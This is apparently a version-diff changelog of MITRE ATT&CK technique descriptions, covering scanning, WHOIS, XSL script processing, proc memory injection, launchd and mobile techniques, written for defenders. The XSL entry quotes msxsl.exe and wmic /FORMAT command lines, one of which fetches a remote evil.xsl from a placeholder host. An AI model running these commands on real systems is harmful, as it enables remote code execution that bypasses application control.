databases.(Citation: National Vulnerability Database) An adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may scan victims f | t | 1 | Adversaries may scan victims for vulnerabilities that can be |
| > | or vulnerabilities that can be used during targeting. Vulner | > | used during targeting. Vulnerability scans typically check | ||
| > | ability scans typically check if the configuration of a targ | > | if the configuration of a target host/application (ex: softw | ||
| > | et host/application (ex: software and version) potentially a | > | are and version) potentially aligns with the target of a spe | ||
| > | ligns with the target of a specific exploit the adversary ma | > | cific exploit the adversary may seek to use. These scans ma | ||
| > | y seek to use. These scans may also include more broad atte | > | y also include more broad attempts to [Gather Victim Host In | ||
| > | mpts to [Gather Victim Host Information](https://attack.mitr | > | formation](https://attack.mitre.org/techniques/T1592) that c | ||
| > | e.org/techniques/T1592) that can be used to identify more co | > | an be used to identify more commonly known, exploitable vuln | ||
| > | mmonly known, exploitable vulnerabilities. Vulnerability sca | > | erabilities. Vulnerability scans typically harvest running s | ||
| > | ns typically harvest running software and version numbers vi | > | oftware and version numbers via server banners, listening po | ||
| > | a server banners, listening ports, or other network artifact | > | rts, or other network artifacts.(Citation: OWASP Vuln Scanni | ||
| > | s.(Citation: OWASP Vuln Scanning) Information from these sca | > | ng) Information from these scans may reveal opportunities fo | ||
| > | ns may reveal opportunities for other forms of reconnaissanc | > | r other forms of reconnaissance (ex: [Search Open Websites/D | ||
| > | e (ex: [Search Open Websites/Domains](https://attack.mitre.o | > | omains](https://attack.mitre.org/techniques/T1593) or [Searc | ||
| > | rg/techniques/T1593) or [Search Open Technical Databases](ht | > | h Open Technical Databases](https://attack.mitre.org/techniq | ||
| > | tps://attack.mitre.org/techniques/T1596)), establishing oper | > | ues/T1596)), establishing operational resources (ex: [Develo | ||
| > | ational resources (ex: [Develop Capabilities](https://attack | > | p Capabilities](https://attack.mitre.org/techniques/T1587) o | ||
| > | .mitre.org/techniques/T1587) or [Obtain Capabilities](https: | > | r [Obtain Capabilities](https://attack.mitre.org/techniques/ | ||
| > | //attack.mitre.org/techniques/T1588)), and/or initial access | > | T1588)), and/or initial access (ex: [Exploit Public-Facing A | ||
| > | (ex: [Exploit Public-Facing Application](https://attack.mit | > | pplication](https://attack.mitre.org/techniques/T1190)). | ||
| > | re.org/techniques/T1190)). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 03:58:06.761000+00:00 | 2021-04-15 03:20:09.446000+00:00 |
| description | Before compromising a victim, adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use. These scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). | Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use. These scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). |
| x_mitre_data_sources[0] | Packet capture | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Network device logs | Network Traffic: Network Traffic Content |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search public | t | 1 | Adversaries may search public WHOIS data for information abo |
| > | WHOIS data for information about victims that can be used du | > | ut victims that can be used during targeting. WHOIS data is | ||
| > | ring targeting. WHOIS data is stored by regional Internet re | > | stored by regional Internet registries (RIR) responsible for | ||
| > | gistries (RIR) responsible for allocating and assigning Inte | > | allocating and assigning Internet resources such as domain | ||
| > | rnet resources such as domain names. Anyone can query WHOIS | > | names. Anyone can query WHOIS servers for information about | ||
| > | servers for information about a registered domain, such as a | > | a registered domain, such as assigned IP blocks, contact inf | ||
| > | ssigned IP blocks, contact information, and DNS nameservers. | > | ormation, and DNS nameservers.(Citation: WHOIS) Adversaries | ||
| > | (Citation: WHOIS) Adversaries may search WHOIS data to gath | > | may search WHOIS data to gather actionable information. Thr | ||
| > | er actionable information. Threat actors can use online reso | > | eat actors can use online resources or command-line utilitie | ||
| > | urces or command-line utilities to pillage through WHOIS dat | > | s to pillage through WHOIS data for information about potent | ||
| > | a for information about potential victims. Information from | > | ial victims. Information from these sources may reveal oppor | ||
| > | these sources may reveal opportunities for other forms of re | > | tunities for other forms of reconnaissance (ex: [Active Scan | ||
| > | connaissance (ex: [Active Scanning](https://attack.mitre.org | > | ning](https://attack.mitre.org/techniques/T1595) or [Phishin | ||
| > | /techniques/T1595) or [Phishing for Information](https://att | > | g for Information](https://attack.mitre.org/techniques/T1598 | ||
| > | ack.mitre.org/techniques/T1598)), establishing operational r | > | )), establishing operational resources (ex: [Acquire Infrast | ||
| > | esources (ex: [Acquire Infrastructure](https://attack.mitre. | > | ructure](https://attack.mitre.org/techniques/T1583) or [Comp | ||
| > | org/techniques/T1583) or [Compromise Infrastructure](https:/ | > | romise Infrastructure](https://attack.mitre.org/techniques/T | ||
| > | /attack.mitre.org/techniques/T1584)), and/or initial access | > | 1584)), and/or initial access (ex: [External Remote Services | ||
| > | (ex: [External Remote Services](https://attack.mitre.org/tec | > | ](https://attack.mitre.org/techniques/T1133) or [Trusted Rel | ||
| > | hniques/T1133) or [Trusted Relationship](https://attack.mitr | > | ationship](https://attack.mitre.org/techniques/T1199)). | ||
| > | e.org/techniques/T1199)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:20:43.941000+00:00 | 2021-04-15 03:50:44.113000+00:00 |
| description | Before compromising a victim, adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS) Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS) Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may bypass application control and obscure execu | t | 1 | Adversaries may bypass application control and obscure execu |
| > | tion of code by embedding scripts inside XSL files. Extensib | > | tion of code by embedding scripts inside XSL files. Extensib | ||
| > | le Stylesheet Language (XSL) files are commonly used to desc | > | le Stylesheet Language (XSL) files are commonly used to desc | ||
| > | ribe the processing and rendering of data within XML files. | > | ribe the processing and rendering of data within XML files. | ||
| > | To support complex operations, the XSL standard includes sup | > | To support complex operations, the XSL standard includes sup | ||
| > | port for embedded scripting in various languages. (Citation: | > | port for embedded scripting in various languages. (Citation: | ||
| > | Microsoft XSLT Script Mar 2017) Adversaries may abuse this | > | Microsoft XSLT Script Mar 2017) Adversaries may abuse this | ||
| > | functionality to execute arbitrary files while potentially | > | functionality to execute arbitrary files while potentially | ||
| > | bypassing application control. Similar to [Trusted Developer | > | bypassing application control. Similar to [Trusted Developer | ||
| > | Utilities Proxy Execution](https://attack.mitre.org/techniq | > | Utilities Proxy Execution](https://attack.mitre.org/techniq | ||
| > | ues/T1127), the Microsoft common line transformation utility | > | ues/T1127), the Microsoft common line transformation utility | ||
| > | binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be i | > | binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be i | ||
| > | nstalled and used to execute malicious JavaScript embedded w | > | nstalled and used to execute malicious JavaScript embedded w | ||
| > | ithin local or remote (URL referenced) XSL files. (Citation: | > | ithin local or remote (URL referenced) XSL files. (Citation: | ||
| > | Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is | > | Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is | ||
| > | not installed by default, an adversary will likely need to | > | not installed by default, an adversary will likely need to | ||
| > | package it with dropped files. (Citation: Reaqta MSXSL Spear | > | package it with dropped files. (Citation: Reaqta MSXSL Spear | ||
| > | phishing MAR 2018) Msxsl.exe takes two main arguments, an XM | > | phishing MAR 2018) Msxsl.exe takes two main arguments, an XM | ||
| > | L source file and an XSL stylesheet. Since the XSL file is v | > | L source file and an XSL stylesheet. Since the XSL file is v | ||
| > | alid XML, the adversary may call the same XSL file twice. Wh | > | alid XML, the adversary may call the same XSL file twice. Wh | ||
| > | en using msxsl.exe adversaries may also give the XML/XSL fil | > | en using msxsl.exe adversaries may also give the XML/XSL fil | ||
| > | es an arbitrary file extension.(Citation: XSL Bypass Mar 201 | > | es an arbitrary file extension.(Citation: XSL Bypass Mar 201 | ||
| > | 9) Command-line examples:(Citation: Penetration Testing Lab | > | 9) Command-line examples:(Citation: Penetration Testing Lab | ||
| > | MSXSL July 2017)(Citation: XSL Bypass Mar 2019) * <code>ms | > | MSXSL July 2017)(Citation: XSL Bypass Mar 2019) * <code>ms | ||
| > | xsl.exe customers[.]xml script[.]xsl</code> * <code>msxsl.ex | > | xsl.exe customers[.]xml script[.]xsl</code> * <code>msxsl.ex | ||
| > | e script[.]xsl script[.]xsl</code> * <code>msxsl.exe script[ | > | e script[.]xsl script[.]xsl</code> * <code>msxsl.exe script[ | ||
| > | .]jpeg script[.]jpeg</code> Another variation of this techn | > | .]jpeg script[.]jpeg</code> Another variation of this techn | ||
| > | ique, dubbed “Squiblytwo”, involves using [Windows Managemen | > | ique, dubbed “Squiblytwo”, involves using [Windows Managemen | ||
| > | t Instrumentation](https://attack.mitre.org/techniques/T1047 | > | t Instrumentation](https://attack.mitre.org/techniques/T1047 | ||
| > | ) to invoke JScript or VBScript within an XSL file.(Citation | > | ) to invoke JScript or VBScript within an XSL file.(Citation | ||
| > | : LOLBAS Wmic) This technique can also execute local/remote | > | : LOLBAS Wmic) This technique can also execute local/remote | ||
| > | scripts and, similar to its [Regsvr32](https://attack.mitre. | > | scripts and, similar to its [Regsvr32](https://attack.mitre. | ||
| > | org/techniques/T1117)/ "Squiblydoo" counterpart, leverages a | > | org/techniques/T1218/010)/ "Squiblydoo" counterpart, leverag | ||
| > | trusted, built-in Windows tool. Adversaries may abuse any a | > | es a trusted, built-in Windows tool. Adversaries may abuse a | ||
| > | lias in [Windows Management Instrumentation](https://attack. | > | ny alias in [Windows Management Instrumentation](https://att | ||
| > | mitre.org/techniques/T1047) provided they utilize the /FORMA | > | ack.mitre.org/techniques/T1047) provided they utilize the /F | ||
| > | T switch.(Citation: XSL Bypass Mar 2019) Command-line examp | > | ORMAT switch.(Citation: XSL Bypass Mar 2019) Command-line e | ||
| > | les:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic) | > | xamples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmi | ||
| > | * Local File: <code>wmic process list /FORMAT:evil[.]xsl</co | > | c) * Local File: <code>wmic process list /FORMAT:evil[.]xsl | ||
| > | de> * Remote File: <code>wmic os get /FORMAT:”https[:]//exam | > | </code> * Remote File: <code>wmic os get /FORMAT:”https[:]// | ||
| > | ple[.]com/evil[.]xsl”</code> | > | example[.]com/evil[.]xsl”</code> | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:45:46.479000+00:00 | 2021-02-09 15:07:00.842000+00:00 |
| description | Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)
Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)
* msxsl.exe customers[.]xml script[.]xsl
* msxsl.exe script[.]xsl script[.]xsl
* msxsl.exe script[.]jpeg script[.]jpeg
Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)
* Local File: wmic process list /FORMAT:evil[.]xsl
* Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl” | Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)
Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)
* msxsl.exe customers[.]xml script[.]xsl
* msxsl.exe script[.]xsl script[.]xsl
* msxsl.exe script[.]jpeg script[.]jpeg
Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)
* Local File: wmic process list /FORMAT:evil[.]xsl
* Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl” |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Module: Module Load |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process use of network | |
| x_mitre_data_sources | DLL monitoring |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into processes via the | t | 1 | Adversaries may inject malicious code into processes via the |
| > | /proc filesystem in order to evade process-based defenses a | > | /proc filesystem in order to evade process-based defenses a | ||
| > | s well as possibly elevate privileges. Proc memory injection | > | s well as possibly elevate privileges. Proc memory injection | ||
| > | is a method of executing arbitrary code in the address spac | > | is a method of executing arbitrary code in the address spac | ||
| > | e of a separate live process. Proc memory injection involv | > | e of a separate live process. Proc memory injection involv | ||
| > | es enumerating the memory of a process via the /proc filesys | > | es enumerating the memory of a process via the /proc filesys | ||
| > | tem (<code>/proc/[pid]</code>) then crafting a return-orient | > | tem (<code>/proc/[pid]</code>) then crafting a return-orient | ||
| > | ed programming (ROP) payload with available gadgets/instruct | > | ed programming (ROP) payload with available gadgets/instruct | ||
| > | ions. Each running process has its own directory, which incl | > | ions. Each running process has its own directory, which incl | ||
| > | udes memory mappings. Proc memory injection is commonly perf | > | udes memory mappings. Proc memory injection is commonly perf | ||
| > | ormed by overwriting the target processes’ stack using memor | > | ormed by overwriting the target processes’ stack using memor | ||
| > | y mappings provided by the /proc filesystem. This informatio | > | y mappings provided by the /proc filesystem. This informatio | ||
| > | n can be used to enumerate offsets (including the stack) and | > | n can be used to enumerate offsets (including the stack) and | ||
| > | gadgets (or instructions within the program that can be use | > | gadgets (or instructions within the program that can be use | ||
| > | d to build a malicious payload) otherwise hidden by process | > | d to build a malicious payload) otherwise hidden by process | ||
| > | memory protections such as address space layout randomizatio | > | memory protections such as address space layout randomizatio | ||
| > | n (ASLR). Once enumerated, the target processes’ memory map | > | n (ASLR). Once enumerated, the target processes’ memory map | ||
| > | within <code>/proc/[pid]/maps</code> can be overwritten usin | > | within <code>/proc/[pid]/maps</code> can be overwritten usin | ||
| > | g dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injec | > | g dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injec | ||
| > | tion)(Citation: DD Man) Other techniques such as [LD_PRELO | > | tion)(Citation: DD Man) Other techniques such as [Dynamic | ||
| > | AD](https://attack.mitre.org/techniques/T1574/006) may be us | > | Linker Hijacking](https://attack.mitre.org/techniques/T1574/ | ||
| > | ed to populate a target process with more available gadgets. | > | 006) may be used to populate a target process with more avai | ||
| > | Similar to [Process Hollowing](https://attack.mitre.org/tec | > | lable gadgets. Similar to [Process Hollowing](https://attack | ||
| > | hniques/T1055/012), proc memory injection may target child p | > | .mitre.org/techniques/T1055/012), proc memory injection may | ||
| > | rocesses (such as a backgrounded copy of sleep).(Citation: G | > | target child processes (such as a backgrounded copy of sleep | ||
| > | DS Linux Injection) Running code in the context of another | > | ).(Citation: GDS Linux Injection) Running code in the cont | ||
| > | process may allow access to the process's memory, system/ne | > | ext of another process may allow access to the process's mem | ||
| > | twork resources, and possibly elevated privileges. Execution | > | ory, system/network resources, and possibly elevated privile | ||
| > | via proc memory injection may also evade detection from sec | > | ges. Execution via proc memory injection may also evade dete | ||
| > | urity products since the execution is masked under a legitim | > | ction from security products since the execution is masked u | ||
| > | ate process. | > | nder a legitimate process. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| description | Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process.
Proc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes’ stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes’ memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man)
Other techniques such as [LD_PRELOAD](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process.
Proc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes’ stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes’ memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man)
Other techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. |
| x_mitre_data_sources[0] | Process monitoring | File: File Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File monitoring |
Current version: 1.0
Description: This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself.
Adversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).
An adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 22:41:14.739000+00:00 | 2021-10-07 21:38:03.610000+00:00 |
| description | Adversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).
An adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in. | This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself.
Adversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).
An adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in. |
| x_mitre_data_sources[0] | Process command-line parameters | Scheduled Job: Scheduled Job Creation |
| x_mitre_data_sources[1] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | File: File Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation |
Current version: 1.0
Description: Adversaries may make, forward, or block phone calls without user authorization. This could be used for adversary goals such as audio surveillance, blocking or forwarding calls from the device owner, or C2 communication. Several permissions may be used to programmatically control phone calls, including: * `ANSWER_PHONE_CALLS` - Allows the application to answer incoming phone calls(Citation: Android Permissions) * `CALL_PHONE` - Allows the application to initiate a phone call without going through the Dialer interface(Citation: Android Permissions) * `PROCESS_OUTGOING_CALLS` - Allows the application to see the number being dialed during an outgoing call with the option to redirect the call to a different number or abort the call altogether(Citation: Android Permissions) * `MANAGE_OWN_CALLS` - Allows a calling application which manages its own calls through the self-managed `ConnectionService` APIs(Citation: Android Permissions) * `BIND_TELECOM_CONNECTION_SERVICE` - Required permission when using a `ConnectionService`(Citation: Android Permissions) * `WRITE_CALL_LOG` - Allows an application to write to the device call log, potentially to hide malicious phone calls(Citation: Android Permissions) When granted some of these permissions, an application can make a phone call without opening the dialer first. However, if an application desires to simply redirect the user to the dialer with a phone number filled in, it can launch an Intent using `Intent.ACTION_DIAL`, which requires no specific permissions. This then requires the user to explicitly initiate the call or use some form of [Input Injection](https://attack.mitre.org/techniques/T1516) to programmatically initiate it.
Current version: 1.0
Description: Adversaries may use built-in command-line interfaces to interact with the device and execute commands. Android provides a bash shell that can be interacted with over the Android Debug Bridge (ADB) or programmatically using Java’s `Runtime` package. On iOS, adversaries can interact with the underlying runtime shell if the device has been jailbroken. If the device has been rooted or jailbroken, adversaries may locate and invoke a superuser binary to elevate their privileges and interact with the system as the root user. This dangerous level of permissions allows the adversary to run special commands and modify protected system files.
Current version: 1.0
Description: Adversaries may utilize hooking to hide the presence of artifacts associated with their behaviors to evade detection. Hooking can be used to modify return values or data structures of system APIs and function calls. This process typically involves using 3rd party root frameworks, such as Xposed or Magisk, with either a system exploit or pre-existing root access. By including custom modules for root frameworks, adversaries can hook system APIs and alter the return value and/or system data structures to alter functionality/visibility of various aspects of the system.
Current version: 1.0
Description: Adversaries may use a compromised device as a proxy server to the Internet. By utilizing a proxy, adversaries hide the true IP address of their C2 server and associated infrastructure from the destination of the network traffic. This masquerades an adversary’s traffic as legitimate traffic originating from the compromised device, which can evade IP-based restrictions and alerts on certain services, such as bank accounts and social media websites.(Citation: Threat Fabric Exobot) The most common type of proxy is a SOCKS proxy. It can typically be implemented using standard OS-level APIs and 3rd party libraries with no indication to the user. On Android, adversaries can use the `Proxy` API to programmatically establish a SOCKS proxy connection, or lower-level APIs to interact directly with raw sockets.
Current version: 1.0
Description: Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. On Android and iOS, APIs and libraries exist to facilitate scheduling tasks to execute at a specified date, time, or interval. On Android, the `WorkManager` API allows asynchronous tasks to be scheduled with the system. `WorkManager` was introduced to unify task scheduling on Android, using `JobScheduler`, `GcmNetworkManager`, and `AlarmManager` internally. `WorkManager` offers a lot of flexibility for scheduling, including periodically, one time, or constraint-based (e.g. only when the device is charging).(Citation: Android WorkManager) On iOS, the `NSBackgroundActivityScheduler` API allows asynchronous tasks to be scheduled with the system. The tasks can be scheduled to be repeating or non-repeating, however, the system chooses when the tasks will be executed. The app can choose the interval for repeating tasks, or the delay between scheduling and execution for one-time tasks.(Citation: Apple NSBackgroundActivityScheduler)
Current version: 1.0
